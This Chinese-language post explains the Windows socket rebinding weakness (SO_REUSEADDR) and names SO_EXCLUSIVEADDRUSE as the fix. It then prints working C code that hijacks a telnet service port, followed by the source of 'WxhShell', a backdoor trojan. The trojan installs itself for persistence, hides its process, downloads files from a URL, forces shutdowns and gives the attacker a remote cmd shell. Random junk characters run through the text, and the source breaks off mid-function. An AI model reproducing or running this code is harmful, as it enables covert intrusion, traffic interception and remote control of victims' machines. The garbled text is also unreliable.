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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CiHx.5TiC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fq+Cr?- xA:;wV saddr.sin_family = AF_INET; |p+FIr+ qR2cRepV saddr.sin_addr.s_addr = htonl(INADDR_ANY); [-Y~g%M ,mCf{V]# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _O87[F1 5Y`4%*$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N`N=}&v ] T$r/XAs 这意味着什么?意味着可以进行如下的攻击: 7g{JE^u o8E<_rei 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hB\BFVUSn/ d72
yu3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W6EEC<$JL zn= pm#L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f`>\bdz tQ'R(H` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @pv:uON\ Qz{Vl>" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BSSehe* :u=y7[I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z(4/;v <CT j&A9
&+w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fv/{)H<:y (qc<'$o #include a>8]+@ #include d^IX(y*$ #include v\!Cq+lFML #include
E)I&? <g DWORD WINAPI ClientThread(LPVOID lpParam); d9e~><bPJ int main() j/T@-7^0 { T=V{3v@zs WORD wVersionRequested; |yOIC,5[JW DWORD ret; :|I"Em3R WSADATA wsaData; *Y53bZ BOOL val; 3~WI3ZIR SOCKADDR_IN saddr; @*op5qVw SOCKADDR_IN scaddr; q(s0dkrj int err; {t0!N]' SOCKET s; C$at9=(E6 SOCKET sc; '5T:*Yh int caddsize; 'X&"(M HANDLE mt; F!C<^q~! DWORD tid; ,T 3M wVersionRequested = MAKEWORD( 2, 2 ); 4^Ks!S>K{8 err = WSAStartup( wVersionRequested, &wsaData ); /N/jwLr if ( err != 0 ) { @wAYhnxq printf("error!WSAStartup failed!\n"); k-s|gC4 return -1; r`)'Kd } +\PLUOk saddr.sin_family = AF_INET; *$('ous8 ^eRbp?H*T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t?weD{O ] 4*E: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e*D,2>o saddr.sin_port = htons(23); \Z~@/OVc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4uE/!dT { >K%+h)%kI printf("error!socket failed!\n"); 4 l+z return -1; iY sQ:3s } a{ByU% val = TRUE; +]H!q
W: //SO_REUSEADDR选项就是可以实现端口重绑定的 9a1R"%Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \)MzUOZn { Esj1Vv# printf("error!setsockopt failed!\n"); V5jy,Qi) return -1; b|k(:b-G&. } a[!:`o1U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 11A;z[Zk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g6SZ4WV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sFgsEKs -"Nvu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X1u\si%.4S { \4OU+$m ret=GetLastError(); h2+"e# _ printf("error!bind failed!\n"); eVbT<9k return -1; e5n"(s"G*[ } U?:?NC=1{ listen(s,2); FB~IO#E8W while(1)
a(`"qS { 4*q6#=G caddsize = sizeof(scaddr); NPE 4@c_a@ //接受连接请求 \)g} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RM25]hx if(sc!=INVALID_SOCKET) =G 'c % { ;Q5o38( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6k|f]BCL if(mt==NULL) _*t75e$- { H5gcP11r printf("Thread Creat Failed!\n"); xWWVU}fd1 break; `Z2-<:]6&a } ,;h}<("q } E.x<J.[Y CloseHandle(mt); QT"o"B } .36]>8 closesocket(s); Ob|tA WSACleanup(); xCu\ jc)2 return 0; $D*Yhv!/ } [XA:pj;rg' DWORD WINAPI ClientThread(LPVOID lpParam) vcOw`oS { r8_MIGM' SOCKET ss = (SOCKET)lpParam; l>7?B2^<E SOCKET sc; P$/Y9o
unsigned char buf[4096]; \&v)#w SOCKADDR_IN saddr; f_. 0 uM long num; #Y'ub
5s DWORD val; d&DQ8Gm ^ DWORD ret; |L
< //如果是隐藏端口应用的话,可以在此处加一些判断 #J$z0%P //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |A)a
='Ap saddr.sin_family = AF_INET; [Z]CBEE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~.S/<:`U saddr.sin_port = htons(23); $|19]3T@Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3HndE~_C& { -ozcK printf("error!socket failed!\n"); t0ZaI E return -1; WsmP]i^Q } k,/2]{#53d val = 100; R8j\CiV17 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5lE9UoG[Q { pf&SIG ret = GetLastError(); t1o_x}z4. return -1; 3`njQvI\ } VQ2B|v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o~'UWU'# { ~2XiKY;W? ret = GetLastError(); h7}P5z0F return -1; X/S%0AwZ } }~ga86:n0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n=h!V$X { -D_xA10 printf("error!socket connect failed!\n"); |f[:mO closesocket(sc); ((fFe8Rn)q closesocket(ss); P#2#i]- return -1; QLH6Nmk } MBFn s/ while(1) }Szs9-Wns { ,Mu"r!MK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]ex2c{
G //如果是嗅探内容的话,可以再此处进行内容分析和记录 tj" EUqKQ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 };~I#X num = recv(ss,buf,4096,0); YD;"_yH if(num>0) v<]$,V] send(sc,buf,num,0); <IQ}j^u-F else if(num==0) e[.JS6 break; hJoh5DIE95 num = recv(sc,buf,4096,0); E@)9'?q if(num>0) ]7%+SH,RdD send(ss,buf,num,0); TmgSV#G else if(num==0) EvDg{M} break; dYp} R>+ } 6p~8(-nG closesocket(ss); .!g closesocket(sc); f_r4*#&v return 0 ; 7p Zd?-6M^ } -+ Mh('K ~" U^N:I" lT F#efcW ========================================================== XCE<].w o:RO(oA0? 下边附上一个代码,,WXhSHELL >m`<AynJ !4fT<V( ========================================================== $7&t`E)qY WeS$$:ro #include "stdafx.h" S(5&%}QFQ f:/"OCig #include <stdio.h> @@+BPLl #include <string.h> *> 7Zc #include <windows.h> #}nDX4jI #include <winsock2.h> @D=i|f #include <winsvc.h> Ug^vVc) #include <urlmon.h> LhtA]z,m G\H |\i #pragma comment (lib, "Ws2_32.lib") K]Z];C#) #pragma comment (lib, "urlmon.lib")
MVe4[< [kPF J f #define MAX_USER 100 // 最大客户端连接数 kBJx`tjtp #define BUF_SOCK 200 // sock buffer |&0Cuwt #define KEY_BUFF 255 // 输入 buffer #9@UzfZAwT - f%J_` #define REBOOT 0 // 重启 b:6e2|xf? #define SHUTDOWN 1 // 关机 Ve|=<7%%S ~&Y%yN^ #define DEF_PORT 5000 // 监听端口 4k=LVu]Kcr K}Rq<zW #define REG_LEN 16 // 注册表键长度 |F52)<\ #define SVC_LEN 80 // NT服务名长度 C3e0d~C 4[f>kY%[ // 从dll定义API }FT8[m< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :pg]0X; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `EzC'e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {~~' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iea7*]vW `:;fc // wxhshell配置信息 vI+X9C? struct WSCFG { sn:wLc/GAd int ws_port; // 监听端口 4lF?s\W: char ws_passstr[REG_LEN]; // 口令 2vX!j!_ int ws_autoins; // 安装标记, 1=yes 0=no &s_)|K char ws_regname[REG_LEN]; // 注册表键名 aX(Y
`g)| char ws_svcname[REG_LEN]; // 服务名 OW1\@CC-69 char ws_svcdisp[SVC_LEN]; // 服务显示名 `>skcvkm char ws_svcdesc[SVC_LEN]; // 服务描述信息 rsC^Re:*jr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hGlRf_{ int ws_downexe; // 下载执行标记, 1=yes 0=no ~mu)Cw char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 7&
G#&d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )+12r6W jV|/ C }; Nd61ns(N 5vqh09-FB // default Wxhshell configuration jmh$6 N%
F struct WSCFG wscfg={DEF_PORT, z)]Br1 "xuhuanlingzhe", 8z'_dfP=5 1, ttA0*
>' "Wxhshell", J={IGA "Wxhshell", l*>,:y "WxhShell Service", {N 0i
3e
s "Wrsky Windows CmdShell Service", Vh5Z'4N "Please Input Your Password: ", 2f7]=snCG 1, zUd{9B$ " http://www.wrsky.com/wxhshell.exe", VW *d*! "Wxhshell.exe" x"n)y1y }; &{H LYxh <&p0:S7 // 消息定义模块 s2iL5N|"Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @}iY(-V char *msg_ws_prompt="\n\r? for help\n\r#>"; B>,&{ah/5J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Fd/.\s char *msg_ws_ext="\n\rExit."; EZg$mp1 char *msg_ws_end="\n\rQuit."; b0!ZA/YC- char *msg_ws_boot="\n\rReboot..."; Jx4"~ 4 char *msg_ws_poff="\n\rShutdown..."; .z&,d&E char *msg_ws_down="\n\rSave to "; <B3$ODGJp ?9m@ S#@ char *msg_ws_err="\n\rErr!"; 4Q
n5Mr@< char *msg_ws_ok="\n\rOK!"; 2g:V_% o<nkK+=Afm char ExeFile[MAX_PATH]; >.f'_2#Z& int nUser = 0; v* /}s :a HANDLE handles[MAX_USER]; D0a3%LBS/2 int OsIsNt; k&SI-jxj xO2CgqEb SERVICE_STATUS serviceStatus; p}O[A` SERVICE_STATUS_HANDLE hServiceStatusHandle; kxVR#: <c$K3 // 函数声明 Q=Y1kcTOn int Install(void); -/ h'uG int Uninstall(void); !Xf7RT int DownloadFile(char *sURL, SOCKET wsh); ,T\)%q int Boot(int flag); 5t-dvYgU void HideProc(void); -x0VvkHu int GetOsVer(void); sDzlNMr?P+ int Wxhshell(SOCKET wsl); BP`'1Ns void TalkWithClient(void *cs); {|ChwM\x int CmdShell(SOCKET sock); OVgx2_F int StartFromService(void); $ @Fvl-lK int StartWxhshell(LPSTR lpCmdLine); }E]&,[4&M j9]H~:g$d VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P{_Xg,Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); |>L|7>J{<d >lIQM3 // 数据结构和表定义 /$,~|X;& SERVICE_TABLE_ENTRY DispatchTable[] = F1UTj"<e { #>@~3kGg {wscfg.ws_svcname, NTServiceMain}, b Q6<R4 {NULL, NULL} dyMj=e }; WyDL ah^/ n%1I}?$fO // 自我安装 K\a=bA}DG int Install(void) 8KhE`C9z { ^J{tOxO=l char svExeFile[MAX_PATH]; 1pT-PO3= HKEY key; {X'D07 q strcpy(svExeFile,ExeFile); .|Zt&5osI A,'JmF$d
// 如果是win9x系统,修改注册表设为自启动 B>"O~ gZ{# if(!OsIsNt) { ~99DE78 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :M'V**A( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tV5Uz&:b RegCloseKey(key); I? o)X! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c[QXc9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8#&axg?a RegCloseKey(key); X=U >r return 0; g<&n V>wF } -p\uW0XA } 6 (@U+` } 6~_TXy/ else { BQTibd w;Jby // 如果是NT以上系统,安装为系统服务 ;)nV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~xSAR;8 if (schSCManager!=0) [TFd|ywn { 7(oX1hN SC_HANDLE schService = CreateService ++)3*+N+
( S_ Pa . schSCManager, l[D5JnWxt wscfg.ws_svcname, )lsR8Hi8 wscfg.ws_svcdisp, 2Yt+[T* SERVICE_ALL_ACCESS, gZLzE*NZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5o&noRIIr SERVICE_AUTO_START, |JD"iP: SERVICE_ERROR_NORMAL, 4$^\s5 K svExeFile, ]gHi5]\NC NULL, j jLwHJ NULL, h
&R1" NULL, s
v}o% NULL, eAPNF?0yh NULL wmQT$`$b ); ~7}aW# if (schService!=0) wxx3']: { _'"whZ)2 CloseServiceHandle(schService); 3w-0IP]< CloseServiceHandle(schSCManager); $V0G[!4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bl"BmUn strcat(svExeFile,wscfg.ws_svcname); tin5.N)"z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ra4$/@3n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7\?0d! RegCloseKey(key); iE;D_m.>`O return 0;
!8V } v.Y?<=E+<d } ~;#OQ[ CloseServiceHandle(schSCManager); RMfKM!
vE } j~Cch%%G } <HC5YA)4 w#!^wN return 1; D;bHX } (v'#~ )R_` Pzl2X@{ % // 自我卸载 sD!)= t_ int Uninstall(void) \(db1zmS~ { xR`W9Z5 HKEY key; v3ky;~ke ?"o7x[ if(!OsIsNt) { ;`f14Fb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % >\v6ea RegDeleteValue(key,wscfg.ws_regname); >&z=ktB RegCloseKey(key); =5v=<, ] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t(RJc RegDeleteValue(key,wscfg.ws_regname); \69h>h RegCloseKey(key); {Hu@|Q\~& return 0; }CCTz0[D" } _,?<r&>v6 } =
@EN]u } Ac2,A> else { ,@#))2<RK DN GXp5I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qz@k-Jqq
d if (schSCManager!=0) |*T3TsP u { ~g|Z6-?4Jj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B,_/'DneQK if (schService!=0) !)1gGXRY { M:9
6QM~ if(DeleteService(schService)!=0) { {%"n[DLps CloseServiceHandle(schService); '[z529HN CloseServiceHandle(schSCManager); Q/[g|" return 0; R'udC} } ?m(]@6qa CloseServiceHandle(schService); s6k@W T?"^ } a
At<36{? CloseServiceHandle(schSCManager); )#H&lH } L^{1dVGWNa } 6Kbc:wlR E<~Fi.M;\ return 1; X^td`}F/=V } djk?;^8 Jx jP'8 // 从指定url下载文件 T{"[Ih3Mbl int DownloadFile(char *sURL, SOCKET wsh) KqD]GS#( { Oe/&Ryj=mm HRESULT hr; g"dq;H char seps[]= "/"; <*/IV< char *token; %wDE+&M char *file; >STAPrBp+ char myURL[MAX_PATH]; 5uidi char myFILE[MAX_PATH]; JoCZ{MhM KmYSYNr@, strcpy(myURL,sURL); v/m} {&K token=strtok(myURL,seps); )9]DJ!]&Q" while(token!=NULL) .S{FEV { QCD
MRh n file=token; g5OKhL0u token=strtok(NULL,seps); x%!Ea{s } n`Y"b& 0|J]EsPxu GetCurrentDirectory(MAX_PATH,myFILE); v><c@a=[ strcat(myFILE, "\\"); :]rb} 1nLB strcat(myFILE, file); `k.Tfdu)K send(wsh,myFILE,strlen(myFILE),0);
mdtG W send(wsh,"...",3,0); %tvP\(]h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nZbINhls if(hr==S_OK) W0 n?S
" return 0; "PD^]m else kF@Z4MB}yr return 1; )-s9CWJv pK|~G."6e } #B!HPlrv s;ivoGe} // 系统电源模块 &}y?Lt int Boot(int flag) _ g8CvH)?! { E-`3}"{ HANDLE hToken; p=jpk@RX TOKEN_PRIVILEGES tkp; #lY_XV. 3n!f'" T if(OsIsNt) { q?*
z<)# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1
O?bT,"b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QhJuH_f 0 tkp.PrivilegeCount = 1; B4Fuvi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hE;|VSdo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cp)BPg if(flag==REBOOT) { */6lyODf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +L,V_z return 0; +7KRoF | } ;H4 s[#K else { !\}X?Gf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B" 0a5-pkr return 0; N*`qsv0 } H,3WdSL`K } _yRD*2 !; else { )
w1`<7L if(flag==REBOOT) { lS96Z3k"SB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Due@' return 0; }1#prQ0F } YZk.{#^ c else { XkhGU?={ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 67g"8R#.V return 0; FX1H2N( } a_3w/9L4r } (uVL!%61k FTQNS8 return 1; sxn{uRF } !kS/Ei |pG%]?A // win9x进程隐藏模块 .nzN5FB
U void HideProc(void) X5tx(}j { srQGqE~ %xv*#.<Vj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eev-";c if ( hKernel != NULL ) B2,c_[UZ. { q|g>;_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8CUlE-R5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bP Q=88* FreeLibrary(hKernel); 6E#znRi6IE } dSI<s^n we/sv9v}n return; cSTF$62E } RG.wu6Av v{X<6^g // 获取操作系统版本 .%EYof int GetOsVer(void) 2}n7f7[/b { \2^o,1r/ OSVERSIONINFO winfo; +'$5Jtz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SU5O+;{`' GetVersionEx(&winfo); G1fC'6$3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cN-$;Ent return 1; jVPX]8 else SJ2l6 return 0; UDT\Xc } f~10 iD [jv+Of
IZ // 客户端句柄模块 kMx)G] int Wxhshell(SOCKET wsl) ;pw9+zo^M { zP&D SOCKET wsh; tv_&PIu]L struct sockaddr_in client; mxE< DWORD myID; cgi:"y F 1,(WS
F while(nUser<MAX_USER) +#Wwah$ { [w90gp1O[ int nSize=sizeof(client); v5F+@ug wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :8`~dj. if(wsh==INVALID_SOCKET) return 1; TwsI8X y_'6bpb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U=WS] if(handles[nUser]==0) Z(XohWe2 closesocket(wsh); 3
"iBcsLn else "AP$)xM-: nUser++; .I?~R:(Ig } CTS1."kx1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q
BIekQT u].7+{
return 0; xnfJruT } uBl&{$< l,*5*1lM // 关闭 socket Wu" 1M^a void CloseIt(SOCKET wsh) UM/!dt}DnF { =I aWf closesocket(wsh); .DI?-=p|_# nUser--; Bi2 c5[3 ExitThread(0); 2qot(Zs1i } K3Bw3j 9 e#)NYcr6 // 客户端请求句柄 P{x6e/ void TalkWithClient(void *cs) %Zp|1J'" { !S%0#d2 1F_$[iIX] SOCKET wsh=(SOCKET)cs; \,fa"^8 char pwd[SVC_LEN]; ~yt 7L,OQ char cmd[KEY_BUFF]; Cs(sar:7 char chr[1]; >(-A"jf int i,j; *4e?y \1SC:gN*# while (nUser < MAX_USER) { ]}kw'& ap8q`a{j^ if(wscfg.ws_passstr) { 4l7
Ny\J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K iEmvC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d@p#{ - //ZeroMemory(pwd,KEY_BUFF); ZS%W/.? i=0; ;{aGEOP'U while(i<SVC_LEN) { `U=Jbdc l3 Af\ // 设置超时 Vm[F~2+HX fd_set FdRead; Xo:Mar struct timeval TimeOut; 2e-`V5{)b FD_ZERO(&FdRead); x0b=r!Duu FD_SET(wsh,&FdRead); zO---}[9a TimeOut.tv_sec=8; tXqX[Td`0g TimeOut.tv_usec=0; 2n$Wey[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); peF)U
!`D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1yZA_x15: L$i:~6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uIbAlE pwd =chr[0]; ZSs@9ej if(chr[0]==0xd || chr[0]==0xa) { $C sE[+k1 pwd=0; $4^SWT. break; 9|lLce$ } WrSc@j&Ycv i++; KzP{bK5/ } -|Zzs4bx ALy7D*Z]w // 如果是非法用户,关闭 socket .9J}Z^FD if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q`W2\Kod] } 2lO(f+ ^86M94k send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zPc"r$'0U send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x+j@YWDpG" */l;e<E while(1) { aG83@ABx "a=Hr4C*r ZeroMemory(cmd,KEY_BUFF); )AxD|A I/XSW # // 自动支持客户端 telnet标准 p20JUzy j=0; Scx!h. \5 while(j<KEY_BUFF) { uDP:kM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p<{P#?4 g cmd[j]=chr[0]; tsJR:~ if(chr[0]==0xa || chr[0]==0xd) { M2-`p cmd[j]=0; SAdE9L =d break; ^?Mp(o } ,f2oO?L} j++; D*ZjoU } Ku%tM7 ad Ny^f'tsA // 下载文件 _
,s^ if(strstr(cmd,"http://")) { FGx)? send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hf@4p' if(DownloadFile(cmd,wsh)) e`s1z|h send(wsh,msg_ws_err,strlen(msg_ws_err),0); '9Z`y_~)G else cZQ8[I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W~0rSVD$<z } 5h&sdzfG else { =T,Q7Dh 9-/q-, switch(cmd[0]) { aTTkj\4 RARA _tii // 帮助 VaY#_80$s case '?': { k9f|R*LM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (0H=f6N break; |67Jw2 } mLqqo2u // 安装 zQ|2D*W case 'i': { [9${4=Kq if(Install()) N?ccG\t send(wsh,msg_ws_err,strlen(msg_ws_err),0); X'jyR:ut# else {KNaJ/:>W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `z\hQ%1!F break; o6px1C: } @T~XwJ~ // 卸载 dazNwn case 'r': { Tc/^h4xH if(Uninstall()) u"=]cBRWL6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); j*<J&/luYZ else <7VLUk} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xeSch?} break; W|m(Jh[w] } \Q|-Npw // 显示 wxhshell 所在路径 AQUAQZc case 'p': { BV
B2$&eJ char svExeFile[MAX_PATH]; Q-'j131[ strcpy(svExeFile,"\n\r"); J)>DsQ+Cj strcat(svExeFile,ExeFile); SjB"#E) send(wsh,svExeFile,strlen(svExeFile),0); hm1s~@oEm break; Jg;[k } a]u.Uqyx2w // 重启 q4[}b-fF case 'b': { UeO/<ml3>J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VKDOM0{V if(Boot(REBOOT)) j|[rT^b@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?H$0xZV else { SYYx>1;8` closesocket(wsh); #QoWneZ ExitThread(0); Eo6N'h >h } =G:Krc8w@ break; |@u2/U9
} O~*i_t*i9{ // 关机 miaH,hm case 'd': { \Nt
5TG_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K9#kdo1 2 if(Boot(SHUTDOWN)) ?Ts]zO%%Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gk*u^J( else { IQPu%n{0v closesocket(wsh); R^.PKT2E ExitThread(0); &))d],tJX } ik(Du/ break; /P*XB%y } t2o{=!$WH // 获取shell Oj c Tu case 's': { o~~;I CmdShell(wsh); }QCnN2bV closesocket(wsh); @&}}tALi ExitThread(0); 09-8Xzz break; Wlhh0uy } >K9Ia4I, // 退出 fEZuv?@ case 'x': { <?KPyg2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =7<JD}G CloseIt(wsh); /yG34) aB break; HDHG~<s } -i`jS_-Cv- // 离开 +& B?f case 'q': { .t_t)'L send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5G`HJ6 closesocket(wsh); hI:.Qp`r WSACleanup(); [A7TSN exit(1); l;iU9<~ break; mH$tG
$ } <Q~N9W } r@4A%ql< } t(#9.b`W) ?XHQdN3e // 提示信息 e]RzvWq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a<<4gXx } ]@#9B>v= } |fgUW. Y)1/fEM return; )%K<pIk } !zX()V
L+8ar9es // shell模块句柄 5skN'*oG int CmdShell(SOCKET sock) L]kBY2c { |Mb{0mKb STARTUPINFO si; dEJqgp}\p ZeroMemory(&si,sizeof(si)); {$^'oRk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?P'$Vxl si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <l<O2 l PROCESS_INFORMATION ProcessInfo; ]I\GnDJ^ char cmdline[]="cmd"; 3=.YQE0!dx CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;bE/(nz M return 0; Z A(u"T~ } Z~J]I|R: r^~+<" // 自身启动模式 >5CK&6 int StartFromService(void) (03/4*g_s { ?@ oF@AEx= typedef struct 3+ 6Ed;P { 1p}Wj*mc DWORD ExitStatus; l{[@Ahb}? DWORD PebBaseAddress; 5%I3eL%s DWORD AffinityMask; 1"H;Tr| DWORD BasePriority; .?45:Ey~g ULONG UniqueProcessId; QOB^U-cW ULONG InheritedFromUniqueProcessId; I\Op/`_=E } PROCESS_BASIC_INFORMATION; Gm|-[iUTG]
